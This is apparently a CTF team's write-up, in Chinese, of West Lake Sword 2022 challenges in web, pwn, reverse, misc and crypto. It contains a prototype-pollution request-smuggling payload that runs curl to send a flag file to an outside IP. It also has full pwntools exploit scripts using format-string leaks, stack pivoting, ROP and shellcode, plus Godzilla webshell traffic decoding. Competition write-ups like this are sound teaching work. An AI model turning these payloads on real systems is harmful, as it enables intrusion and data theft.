前言
来自Grignard的手速开局高光:),misc3很可惜差一分钟三血,最后排名27
鸡你太美,安卓取证是赛后复现,但也贴上wp吧
不知道最后结果如何,浅浅记录一下头脑风暴的一天。期待有机会能和各位师傅杭州线下面基!
源码中/routes/index.js中存在这样的代码,猜测是原型链污染,__proto__
被过滤,使用constructor.prototype
绕过。
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
阅读上下文,访问/copy的ip被限制,通过访问/curl利用HTTP走私向/copy发送POST请求,然后污染原型链实现代码执行。
if (!ip.includes('127.0.0.1')) {
obj.msg="only for admin"
res.send(JSON.stringify(obj));
return
}
router.get('/curl', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:3000/?q=' + q
try {
http.get(url,(res1)=>{
const { statusCode } = res1;
const contentType = res1.headers['content-type'];
let error;
// 任何 2xx 状态码都表示成功响应,但这里只检查 200。
if (statusCode !== 200) {
error = new Error('Request Failed.\n' +
`Status Code: ${statusCode}`);
}
if (error) {
console.error(error.message);
// 消费响应数据以释放内存
res1.resume();
return;
}
res1.setEncoding('utf8');
let rawData = '';
res1.on('data', (chunk) => { rawData += chunk;
res.end('request success') });
res1.on('end', () => {
try {
const parsedData = JSON.parse(rawData);
res.end(parsedData+'');
} catch (e) {
res.end(e.message+'');
}
});
}).on('error', (e) => {
res.end(`Got error: ${e.message}`);
})
res.end('ok');
} catch (error) {
res.end(error+'');
}
} else {
res.send("search param 'q' missing!");
}
})
构造payload
import urllib.parse
payload = ''' HTTP/1.1
POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 155
{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('curl 47.113.221.205:12345/`cat /flag.txt`')"}
'''.replace("\n","\r\n")
def encode(data):
tmp = u""
for i in data:
tmp += chr(0x0100+ord(i))
return tmp
payload = encode(payload)
print(urllib.parse.quote(payload))
#%C4%A0%C5%88%C5%94%C5%94%C5%90%C4%AF%C4%B1%C4%AE%C4%B1%C4%8D%C4%8A%C4%8D%C4%8A%C5%90%C5%8F%C5%93%C5%94%C4%A0%C4%AF%C5%A3%C5%AF%C5%B0%C5%B9%C4%A0%C5%88%C5%94%C5%94%C5%90%C4%AF%C4%B1%C4%AE%C4%B1%C4%8D%C4%8A%C5%88%C5%AF%C5%B3%C5%B4%C4%BA%C4%A0%C4%B1%C4%B2%C4%B7%C4%AE%C4%B0%C4%AE%C4%B0%C4%AE%C4%B1%C4%8D%C4%8A%C5%83%C5%AF%C5%AE%C5%B4%C5%A5%C5%AE%C5%B4%C4%AD%C5%94%C5%B9%C5%B0%C5%A5%C4%BA%C4%A0%C5%A1%C5%B0%C5%B0%C5%AC%C5%A9%C5%A3%C5%A1%C5%B4%C5%A9%C5%AF%C5%AE%C4%AF%C5%AA%C5%B3%C5%AF%C5%AE%C4%8D%C4%8A%C5%83%C5%AF%C5%AE%C5%AE%C5%A5%C5%A3%C5%B4%C5%A9%C5%AF%C5%AE%C4%BA%C4%A0%C5%A3%C5%AC%C5%AF%C5%B3%C5%A5%C4%8D%C4%8A%C5%83%C5%AF%C5%AE%C5%B4%C5%A5%C5%AE%C5%B4%C4%AD%C5%8C%C5%A5%C5%AE%C5%A7%C5%B4%C5%A8%C4%BA%C4%A0%C4%B1%C4%B5%C4%B5%C4%8D%C4%8A%C4%8D%C4%8A%C5%BB%C4%A2%C5%A3%C5%AF%C5%AE%C5%B3%C5%B4%C5%B2%C5%B5%C5%A3%C5%B4%C5%AF%C5%B2%C4%AE%C5%B0%C5%B2%C5%AF%C5%B4%C5%AF%C5%B4%C5%B9%C5%B0%C5%A5%C4%AE%C5%AF%C5%B5%C5%B4%C5%B0%C5%B5%C5%B4%C5%86%C5%B5%C5%AE%C5%A3%C5%B4%C5%A9%C5%AF%C5%AE%C5%8E%C5%A1%C5%AD%C5%A5%C4%A2%C4%BA%C4%A2%C5%9F%C5%B4%C5%AD%C5%B0%C4%B1%C4%BB%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC%C4%AE%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3%C4%AE%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5%C4%AE%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5%C4%A8%C4%A7%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3%C4%A7%C4%A9%C4%AE%C5%A5%C5%B8%C5%A5%C5%A3%C4%A8%C4%A7%C5%A3%C5%B5%C5%B2%C5%AC%C4%A0%C4%B4%C4%B7%C4%AE%C4%B1%C4%B1%C4%B3%C4%AE%C4%B2%C4%B2%C4%B1%C4%AE%C4%B2%C4%B0%C4%B5%C4%BA%C4%B1%C4%B2%C4%B3%C4%B4%C4%B5%C4%AF%C5%A0%C5%A3%C5%A1%C5%B4%C4%A0%C4%AF%C5%A6%C5%AC%C5%A1%C5%A7%C4%AE%C5%B4%C5%B8%C5%B4%C5%A0%C4%A7%C4%A9%C4%A2%C5%BD%C4%8D%C4%8A
发包
拿到flag
题目是上传文件,先随便传一个文件,传不了,提示这个Content-Type不行。
尝试修改这个Content-Type绕过,0字节无法绕过,乱试一通,把-替换成_就成功了。
成功获取flag。
首先查看源码
在访问flag1时首先会校验请求的cookie,如果cookie中的user值等于SECRET_COOKIE或者‘admin’便会以响应头的方式获取flag1,SECRET_COOKIE需要通过登录admin获得,而admin的密码是随机生成的,所以基本上拿不到,所以把user=admin加到cookie里访问/flag1可以拿到前半部分的flag。
flag2有两种方式可以拿到,访问/flag1时的cookie等于SECRET_COOKIE,可以同时拿到flag1和flag2,基本不可能。还有就是访问/flag2时让你输入checkcode,经过检验可以拿到flag2。
checkcode检验前会被转化成小写,利用数组成功绕过。
程序保护
首先查程序保护、沙箱,只能读取flag。
另外题目给了libc库的附件,需要我们对程序先进行patch再调试。可以利用patchelf进行patch,因为与解题并没有特别大的关系,具体patch方法可以百度,这里不赘述,仅给出patch后的结果。
漏洞分析
在静态分析程序的main函数。可以很明显的看出,第一次输入name的时候存在格式化字符串漏洞,限制了输入的name最长0x8字节。第二次输入0xc0字节,buf栈的长度只有176(0xb0),溢出0x10字节,可以利用栈迁移。
因为我们能够控制程序的输入只有一次,就是程序中的第二次输入,同时需要进行栈迁移利用,所以需要知道在整个栈帧(rsp–rbp)迁移之前,栈内有什么特殊的地址(第二次输入的起始地址),这样就可以控制rsp到我们输入的起始地址执行构造好的ROPchain。就进入动态调试查看。进入调试先在puts处(0x00000000040131E)下断点。然后再单步步过查看第二个read函数。(第一个read函数等会再讲)
可以看到read函数的输入点是在0x7fffffffdea0处,所以在栈迁移第一次leave_ret的时候将rbp迁移到0x7fffffffdea0 - 0x8处,即在0x7fffffffdf50处写入0x7fffffffde98,同时将rbp + 0x8处设为leave_ret 的gad。
这样子就可以控制程序执行输入的ropchain了。我们设计ropchain为先打一个mprotect修改页保护权限,再读入并执行shellcode。执行mprotect和read函数都需要控制rdi、rsi、rdx三个寄存器。但是elf中可以利用的只有rdi和rsi两个寄存器,rdx的寄存器可以从libc库中寻找,这就需要获得libc的基地址了。另外设计栈迁移的地址,还需要知道read函数读入的地址,因此就需要泄露两个地址,一个是read读入的栈地址,另一个是libc其中某个函数的地址。
这样就知道前面name读入处的格式化字符串漏洞有何用处了。利用格式化字符串,泄露栈上地址和__libc_start_main + 243的地址。通过观察第一次的read和printf函数,可以发现rsi指向的地址与目的地址0x7fffffffdea0相差0x10的偏移。所以第一次可以输入”%p%31p“的name,来获得需要的两个地址。
整个攻击的思路就是格式化字符泄露栈内地址和libc地址,进行栈迁移控制程序,后面就是常规的利用libc基地址和gad构造ropchain来进行攻击了。
exp
#!/usr/bin/env python3
from pwn import *
p = process("./pwn")
# p = remote("tcp.cloud.dasctf.com",20866)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch='amd64',os='linux',log_level='debug',endian='little') #64位架构
#-----------------------------------------------------------------------
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def debug():
gdb.attach(p,"b *0x401367")
pause()
debug()
sa("name:", "%p,%31$p")
ru("Hello, ")
# debug()
name = ru("Now")
log.success(name)
stack_addr = name[:14]
stack_addr = int(stack_addr,base =16)
libc_addr = name[15: 15+14]
libc_addr = int(libc_addr,base = 16)
leak("stack addr", stack_addr)
leak("libc addr", libc_addr)
# lbs = set_current_libc_base_and_log(libc_addr, 0x24083)
libc_base = (libc_addr-243) - libc.sym["__libc_start_main"]
leak("libc_base",libc_base)
system = libc_base + libc.sym['system']
leak("system",system)
mproetct = libc_base +libc.sym["__mprotect"]
read = libc_base + libc.sym["read"]
pop_rdx = libc_base + 0x0000000000142c92
# debug()
leave_ret = 0x00000000004012e1
pop_rdi = 0x0000000000401413
pop_rsi_r15 = 0x0000000000401411
mprotect_call = flat(pop_rdi,0x404000,pop_rsi_r15,0x1000,0,pop_rdx,7,mproetct)
read_call = flat(pop_rdi,0,pop_rsi_r15,0x404000,0,pop_rdx,0x200,read)
sa("DASCTF:", fit({
0: (mprotect_call + read_call + p64(0x404000)),
0xb0: p64(stack_addr + 0x8) + p64(leave_ret)
}))
s(asm(shellcraft.cat(b"./flag")))
itr()
get flag。
程序保护
老规矩,检查程序保护。
程序分析
接着直接看ida反汇编,检查漏洞。在反汇编可以清楚看到,程序会循环读入16个数据,并转换为long int 类型存储在v3这个地址上,同时后面对v3-v18的数值进行了检测,这16个数据是存储在栈上的,因此可以构造这些数据进行检测的绕过,动态调试的时候会更清楚的看到这些数据是如何存储的,方便构造。
第一个红色框处程序每次最多可以读入0x100个字节,同时将buf下标为读入字节处的值赋为0,就有off-by-none的漏洞了。第二个红色框处因为没有对i的数值进行检测,也可以被利用,下面再讲。
退出反汇编可以看到,每次strtol后的数据,都会存储到edx寄存器上,然后再取低位16字节存储到[rbp + rax +var_30]地址上。var_30是固定字节-0x30,rax是从[rbp - var_4]获得的,也就是rbp - 0x4的位置上,同时这个地址也是在栈上,是可以写入覆盖的。因此除了off-by-none的漏洞,还可以控制(rbp -0x30 + 0x20) —(rbp - 0x30 + 0xff)中间的某一个字节。
动态调试中可以看到,利用off-by-none的漏洞,修改rbp低位一字节,可以让rbp跳到栈帧内的地址上。需要再找一个leave_ret的gad对rsp进行控制。
ROPgadget查找0x400c00-0x400cff中间的gad,再利用第二个漏洞来进行覆盖修改ret地址实现栈迁移。控制程序执行后构造ropchain,利用puts函数获得libc地址获得system。
ROPgadget --binary ./babycalc --range 0x400c00-0x400cff|grep leave
顺便找出pop rbx的地址,配合read函数实现任意地址再次写。
ROPgadget --binary ./babycalc --only "pop|rbp|ret"
可以看到read函数执行完后会正常执行strtol函数,那么任意地址写可以打一个hijcak got,修改strtol函数的got表为system,并将rbp - 0x100地址内容修改为"/bin/sh\x00",即可getshell
exp
#!/usr/bin/env python3
#tcp.cloud.dasctf.com:28504
from pwn import *
from LibcSearcher import *
context(os="linux",arch = "amd64")
context.log_level = "debug"
p = process("./babycalc")
# p = remote("tcp.cloud.dasctf.com",25998)
# p = remote("")
elf = ELF("./babycalc")
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
def find_libc(function,function_address,path=""):
# print(type(function))==>str
if path == "":
libc = LibcSearcher(function,function_address)
libc_base = function_address - libc.dump(function)
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
else:
libc = ELF(path)
libc_base = function_address - libc.sym[function]
system = libc_base + libc.sym["system"]
binsh = libc_base + libc.search(b"/bin/sh").__next__()
leak(system)
leak(binsh)
return (system,binsh,libc_base)
r = lambda length: p.recv(length)
ru = lambda x : p.recvuntil(x)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
itr = lambda : p.interactive()
leak = lambda addr : log.success("{:x}".format(addr))
def debug():
gdb.attach(p)
pause()
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
from z3 import *
# v3,v4,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18 = Ints("v3 v4 v5 v6 v7 v8 v9 v10 v11 v12 v13 v14 v15 v16 v17 v18")
# s = Solver()
# s.add(v5 * v4 * v3 - v6 == 36182)
# s.add( v3 == 19)
# s.add( v5 * 19 * v4 + v6 == 36322)
# s.add( (v13 + v3 - v8) * v16 == 32835)
# s.add( (v4 * v3 - v5) * v6 == 44170)
# s.add( (v5 + v4 * v3) * v6 == 51590)
# s.add( v9 * v8 * v7 - v10 == 61549)
# s.add( v10 * v15 + v4 + v18 == 19037)
# s.add( v9 * v8 * v7 + v10 == 61871)
# s.add( (v8 * v7 - v9) * v10 == 581693)
# s.add( v11 == 50)
# s.add( (v9 + v8 * v7) * v10 == 587167)
# s.add( v13 * v12 * v11 - v14 == 1388499)
# s.add( v13 * v12 * v11 + v14 == 1388701)
# s.add( (v12 * v11 - v13) * v14 == 640138)
# s.add( (v11 * v5 - v16) * v12 == 321081)
# s.add( (v13 + v12 * v11) * v14 == 682962)
# s.add( v17 * v16 * v15 - v18 == 563565)
# s.add( v17 * v16 * v15 + v18 == 563571)
# s.add( v14 == 101)
# s.add( (v16 * v15 - v17) * v18 == 70374)
# s.add( (v17 + v16 * v15) * v18 == 70518)
# if s.check() == sat:
# model = s.model()
# print("v3 = ", model[v3])
# print("v4 = ", model[v4])
# print("v5 = ", model[v5])
# print("v6 = ", model[v6])
# print("v7 = ", model[v7])
# print("v8 = ", model[v8])
# print("v9 = ", model[v9])
# print("v10 = ", model[v10])
# print("v11 = ", model[v11])
# print("v12 = ", model[v12])
# print("v13 = ", model[v13])
# print("v14 = ", model[v14])
# print("v15 = ", model[v15])
# print("v16 = ", model[v16])
# print("v17 = ", model[v17])
# print("v18 = ", model[v18])
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
v3 = 19
v11 = 50
v14 = 101
v13 = 212
v16 = 199
v6 = 70
v4 = 36
v5 = 53
v9 = 17
v17 = 24
v15 = 118
v18 = 3
v7 = 55
v12 = 131
v10 = 161
v8 = 66
data = [
v3 ,
v4 ,
v5 ,
v6 ,
v7 ,
v8 ,
v9 ,
v10,
v11,
v12,
v13,
v14,
v15,
v16,
v17,
v18,
]
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
ret = 0x00000000004005b9
pop_rbp_ret = 0x00000000004006b0
pop_rdi_ret = 0x0000000000400ca3
read_func = 0x00000000004007B4
ret_all = p64(ret) * 19
pp1 = flat(ret_all,pop_rdi_ret,puts_got,puts_plt,pop_rbp_ret,0x602018+0x100,read_func)
payload = fit(
{
0: str(0x17) + "\x00",
0x8: pp1,
0x100-0x30: [
p8(v3),
p8(v4),
p8(v5),
p8(v6),
p8(v7),
p8(v8),
p8(v9),
p8(v10),
p8(v11),
p8(v12),
p8(v13),
p8(v14),
p8(v15),
p8(v16),
p8(v17),
p8(v18)
],
0x100-0x4: p32(0x38)
},length=0x100
)
#puts b *0x000000000400BA6
ru("number")
debug()
s(payload)
# p.recvuntil("good done\n",drop = True)
puts_addr = u64(ru(b"\x7f")[-6:].ljust(8,b"\x00"))
leak(puts_addr)
(system,binsh,libc_base) = find_libc("puts",puts_addr,path = b"/lib/x86_64-linux-gnu/libc.so.6")
# (system,binsh,libc_base) = find_libc("puts",puts_addr,path = b"./libc6_2.23-0ubuntu11.3_amd64.so")
leak(libc_base)
payload2 = flat(
{
0x0: b"/bin/sh\x00",
# 0x0: b"cat flag\x00",
0x20: system
},filler = b"a")
# debug()
s(payload2)
itr()
先运行,查看输出定位代码
定位到输出函数,找到主要运算逻辑
定位到主要函数后查看运算逻辑,一般从上往下正向看,从结果往上逆向看相结合
输入后对输入的数字串逐一判断,一定要大于等于48且小于等于57才能通过,即数字0-9
对输入的str字符串进行判断
验证完输入后,回到主函数看逻辑
void *__cdecl sub_401CC0(int a1, __int64 a2, char *Buffer)
{
void *result; // eax
int v4; // [esp+Ch] [ebp-4D4h]
int v5; // [esp+10h] [ebp-4D0h]
int v6; // [esp+14h] [ebp-4CCh]
int v7; // [esp+18h] [ebp-4C8h]
int v8; // [esp+1A0h] [ebp-340h]
int v9; // [esp+1ACh] [ebp-334h]
int v10; // [esp+1B8h] [ebp-328h]
int v11; // [esp+1C4h] [ebp-31Ch]
int v12; // [esp+1D0h] [ebp-310h]
int v13; // [esp+1DCh] [ebp-304h]
int v14; // [esp+1E4h] [ebp-2FCh]
int v15; // [esp+1E8h] [ebp-2F8h]
int v16[2]; // [esp+1ECh] [ebp-2F4h]
int v17; // [esp+1F4h] [ebp-2ECh]
int v18; // [esp+200h] [ebp-2E0h]
int v19[2]; // [esp+204h] [ebp-2DCh]
int v20; // [esp+20Ch] [ebp-2D4h]
int v21[167]; // [esp+218h] [ebp-2C8h]
int i; // [esp+4B4h] [ebp-2Ch]
size_t Size; // [esp+4C0h] [ebp-20h]
unsigned int v24; // [esp+4CCh] [ebp-14h]
unsigned int v25; // [esp+4D8h] [ebp-8h]
__CheckForDebuggerJustMyCode(&byte_4090A2);
v12 = 271733878;
v11 = -1984242434;
v10 = -271733879;
v9 = 1732588033;
v8 = 253635900;
for ( i = 0; i < 20; ++i )
v21[i + 85] = dword_408148[0];
for ( i = 20; i < 40; ++i )
v21[i + 85] = dword_408148[1];
for ( i = 40; i < 60; ++i )
v21[i + 85] = dword_408148[2];
for ( i = 60; i < 80; ++i )
v21[i + 85] = dword_408148[3];
if ( a2 % 64 <= 56 )
v4 = 64 - a2 % 64;
else
v4 = 128 - a2 % 64;
Size = v4 + a2;
result = malloc(v4 + a2);
v25 = (unsigned int)result;
if ( result )
{
for ( i = 0; i < a2; ++i )
*(_BYTE *)(v25 + i + 3 - 2 * (i % 4)) = *(_BYTE *)(i + a1);
*(_BYTE *)(v25 + i + 3 - 2 * (i % 4)) = 0x80;
++i;
while ( i < (int)Size )
{
*(_BYTE *)(v25 + i + 3 - 2 * (i % 4)) = 0;
++i;
}
*(_DWORD *)(Size + v25 - 4) = 8 * a2;
*(_DWORD *)(Size + v25 - 8) = a2 >> 29;
v24 = Size + v25;
while ( v25 < v24 )
{
for ( i = 0; i < 16; ++i )
v21[i + 3] = *(_DWORD *)(v25 + 4 * i);
for ( i = 16; i < 80; ++i )
{
dword_4081BC = *(&v14 + i) ^ v16[i] ^ v19[i] ^ v21[i];
v21[i + 3] = (2 * dword_4081BC) | (dword_4081BC >> 31) & 1;
}
v20 = v12;
v18 = v11;
v17 = v10;
v15 = v9;
v13 = v8;
for ( i = 0; i < 80; ++i )
{
dword_4081BC = v20;
if ( i >= 40 )
{
if ( i >= 60 )
v5 = v15 ^ v17 ^ v18;
else
v5 = v15 & v17 | v15 & v18 | v17 & v18;
v6 = v5;
}
else
{
if ( i >= 20 )
v7 = v15 ^ v17 ^ v18;
else
v7 = v15 & ~v18 | v17 & v18;
v6 = v7;
}
v21[0] = v21[i + 85] + v21[i + 3] + v13 + v6 + ((32 * dword_4081BC) | (dword_4081BC >> 27) & 0x1F);
v13 = v15;
v15 = v17;
dword_4081BC = v18;
v17 = (v18 << 30) | (v18 >> 2) & 0x3FFFFFFF;
v18 = v20;
v20 = v21[0];
}
v12 += v20;
v11 += v18;
v10 += v17;
v9 += v15;
v8 += v13;
v25 += 64;
}
free((void *)(v25 - Size));
return (void *)sub_4026A0(Buffer, "%08x%08x%08x%08x%08x", v12);
}
return result;
}
从结果逆推
综合分析为rc4流加密的算法
根据其算法特征编写python解密脚本
这里直接用Cipher下的rc4
主要解密原理时用RC4加密算法对自定义数组进行加密,并尝试匹配加密后的数据与原来的数组是否相同。
#西湖论剑-baby-re
#author:zodiac-grignard
from Crypto.Cipher import ARC4
flag=""
rc4miyao="0123456789"
yuanlaide=[0x3F, 0x95, 0xBB, 0xF2, 0x57, 0xF1, 0x7A, 0x5A, 0x22, 0x61,
0x51, 0x43, 0xA2, 0xFA, 0x9B, 0x6F, 0x44, 0x63, 0xC0, 0x08,
0x12, 0x65, 0x5C, 0x8A, 0x8C, 0x4C, 0xED, 0x5E, 0xCA, 0x76,
0xB9, 0x85, 0xAF, 0x05, 0x38, 0xED, 0x42, 0x3E, 0x42, 0xDF,
0x5D, 0xBE, 0x05, 0x8B, 0x35, 0x6D, 0xF3, 0x1C, 0xCF, 0xF8,
0x6A, 0x73, 0x25, 0xE4, 0xB7, 0xB9, 0x36, 0xFB, 0x02, 0x11,
0xA0, 0xF0, 0x57, 0xAB, 0x21, 0xC6, 0xC7, 0x46, 0x99, 0xBD,
0x1E, 0x61, 0x5E, 0xEE, 0x55, 0x18, 0xEE, 0x03, 0x29, 0x84,
0x7F, 0x94, 0x5F, 0xB4, 0x6A, 0x29, 0xD8, 0x6C, 0xE4, 0xC0,
0x9D, 0x6B, 0xCC, 0xD5, 0x94, 0x5C, 0xDD, 0xCC, 0xD5, 0x3D,
0xC0, 0xEF, 0x0C, 0x29, 0xE5, 0xB0, 0x93, 0xF1, 0xB3, 0xDE,
0xB0, 0x70]
zijide=[0x31, 0x34, 0x32, 0x33, 0x31, 0x30, 0x36, 0x33, 0x31, 0x35,
0x30, 0x33, 0x32, 0x34, 0x36, 0x36, 0x31, 0x36, 0x32, 0x33,
0x30, 0x34, 0x36, 0x35, 0x31, 0x35, 0x32, 0x33, 0x33, 0x34,
0x36, 0x32, 0x31, 0x34, 0x34, 0x33, 0x31, 0x34, 0x37, 0x31,
0x31, 0x35, 0x30, 0x33, 0x31, 0x30, 0x37, 0x30, 0x31, 0x35,
0x30, 0x33, 0x32, 0x30, 0x37, 0x31, 0x31, 0x36, 0x30, 0x33,
0x32, 0x30, 0x36, 0x33, 0x31, 0x34, 0x30, 0x33, 0x33, 0x34,
0x36, 0x36, 0x31, 0x35, 0x34, 0x33, 0x34, 0x34, 0x36, 0x31,
0x31, 0x34, 0x34, 0x33, 0x34, 0x30, 0x36, 0x36, 0x31, 0x34,
0x32, 0x33, 0x30, 0x34, 0x36, 0x36, 0x31, 0x35, 0x36, 0x33,
0x34, 0x34, 0x36, 0x36, 0x31, 0x35, 0x34, 0x33, 0x30, 0x34,
0x36, 0x34]
def baopo(rc4miyao, num):
if(num == 1):
for x in rc4miyao:
yield x
else:
for x in rc4miyao:
for y in baopo(rc4miyao, num-1):
yield x+y
for x in baopo(rc4miyao,6):
zhenquedekey=x.encode()
rc4=ARC4.new(zhenquedekey)
bytezijide=bytes(zijide)
cyper=rc4.encrypt(bytezijide)
if cyper[16:]==bytes(yuanlaide)[16:]:
tb="01234567"
rc4=ARC4.new(zhenquedekey)
galf=list(rc4.decrypt(bytes(yuanlaide)))
for i in range(0,len(galf),8):
temp=""
temp+=bin(tb.index(chr(galf[i])))[2:].zfill(3)
temp+=bin(tb.index(chr(galf[i+1])))[2:].zfill(3)
temp+=bin(tb.index(chr(galf[i+2])))[2:].zfill(3)
temp+=bin(tb.index(chr(galf[i+3])))[2:].zfill(3)
temp+=bin(tb.index(chr(galf[i+4])))[2:].zfill(3)
temp+=bin(tb.index(chr(galf[i+5])))[2:].zfill(3)
temp+=bin(tb.index(chr(galf[i+6])))[2:].zfill(3)
temp+=bin(tb.index(chr(galf[i+7])))[2:].zfill(3)
for j in range(0,len(temp),8):
flag+=chr(int(temp[j:j+8],2))
print(flag.encode()+zhenquedekey)
打开图片,是西湖论剑公众号,因为是签到,肯定比较简单。二进制永远是最基本的,二进制查看,jpg模板结尾有位置数据,调成中文显示。
拼手速获得三血
binwalk看到有png,foremost出来
lsb有压缩包,zsteg
mp3stego空密码对原mp3解密出zip的密码
rot47后js代码放控制台运行
真加密,爆破密码无果,尝试明文攻击
对dasflow.pcapng明文攻击,失败
根据文件名猜测另一个加密文件dasflow.zip里面的文件就是dasflow.pcapng,根据这一猜测,对dasflow.zip进行明文攻击
得到密钥2b7d78f3 0ebcabad a069728c
,解密得到流量包
foremost可以得到一个加密的压缩包,根据后面TCP流分析应该对应是最后一段的flag.zip,通过导出http也可以得到
追踪TCP流,观察发现是典型的哥斯拉加密
加密逻辑很简单就是一个带key的异或,根据异或的可逆性,加密脚本同时也是解密脚本,一开始直接解会乱码
参考(40条消息) 哥斯拉还原加密流量_u011250160的博客-CSDN博客后得知只需要加个gzdecode即可
function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
echo gzdecode(encode(base64_decode(urldecode('J%2B5pNzMyNmU2mij7dMD%2FqHMAa1dTUh6rZrUuY2l7eDVot058H%2BAZShmyrB3w%2FOdLFa2oeH%2FjYdeYr09l6fxhLPMsLeAwg8MkGmC%2BNbz1%2BkYvogF0EFH1p%2FKFEzIcNBVfDaa946G%2BynGJob9hH1%2BWlZFwyP79y4%2FcvxxKNVw8xP1OZWE3')),$key));
流37读取到了flag.zip,猜测流36是flag.zip的生成过程,解密得到flag.zip的解压密码airDAS1231qaSW@
,解压得到flag
一开始到底是题目附件本身就有问题还是出题人挖的坑一直没搞出来呢?npbk一直损坏提取不出vmdk卡了贼久
下午附件更新了终于成功得到正确的vmdk,npbk本质是夜神模拟器的7z备份文件,直接改后缀.7z,把关键的vmdk提取出来放火眼里
可以发现两张不同寻常的图片,
跳转到源目录可以发现同一目录下有好多的加密的压缩包,更显可疑了,将整个文件夹导出
在png的alpha2通道里可以找到一串黑点,由于排列间隔不规律应该不是摩斯,猜测对应二进制,导出后用脚本提取
from PIL import Image
im = Image.open('solved.bmp')
pix = im.load()
width = im.size[0]
height = im.size[1]
flag=''
for x in range(width):
for y in range(height):
r, g, b = pix[x, y]
if r==0:
flag+='0'
elif r==255:
flag+='1'
print(flag.strip('1'))
#011001010011000000110001001101010011010000110100011000010011100100110011001100110011001101100101011001100011011000110010011000010011001101100001011000010011001000110111001100110011010100110111011001010110001000110101001100100110010101100001001110000110000
解密得到一串key
观察发现19.zip-32.zip,突然多出个50.zip,十分可疑,同时观察他们的大小发现仅有50.zip大小与其他不同,猜测50.zip是正确的zip
直接拿刚才得到的keye01544a9333ef62a3aa27357eb52ea80
去解密失败,猜测是末尾还有个白色块是有效数据被我们删除了,补上一个1得到正确的keye01544a9333ef62a3aa27357eb52ea8a
解压出乱码的flag
jpg拖到exiftool可以得到提示XOR DASCTF2022
对刚刚得到的乱码flag进行异或,得到正确的flag
import struct
f=open('flag','rb').read()
a=[0]*len(f)
key='DASCTF2022'
for i in range(len(f)):
a[i]=(f[i]^ord(key[i%len(key)]))
with open('flag', 'wb')as fp:
for x in a:
b = struct.pack('B', x)
fp.write(b)
这两道题暂时还未搞懂原理,还在学习,具体wp参考zysgmzb师傅和空白师傅:
zysgmzb’s BLOG
crazyman_army’s blog
多元cop套模板,然后让ai根据模板写出解密脚本。
import itertools
from Crypto.Util.number import *
def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()
R = f.base_ring()
N = R.cardinality()
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)
G = Sequence([], f.parent())
for i in range(m + 1):
base = N ^ (m - i) * f ^ i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)
B, monomials = G.coefficient_matrix()
monomials = vector(monomials)
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1 / factor)
H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B * monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
return []
# 计算三次密钥交换
for i in range(3):
r = getPrime(512)
d = invert(secret + r, p) - getPrime(246)
# 计算出r1, r2, d1, d2
if i == 0:
r1, d1 = r, d
elif i == 1:
r2, d2 = r, d
PR.<x1, x2> = PolynomialRing(Zmod(p))
f = (r1 - r2) * (d1 + x1) * (d2 + x2) - (d2 + x2 - d1 - x1)
root = small_roots(f, (2^247, 2^247), 2)
y1 = inverse_mod(int(root[0][0] + d1), int(p))
secret = int(y1 - r1)
print(secret)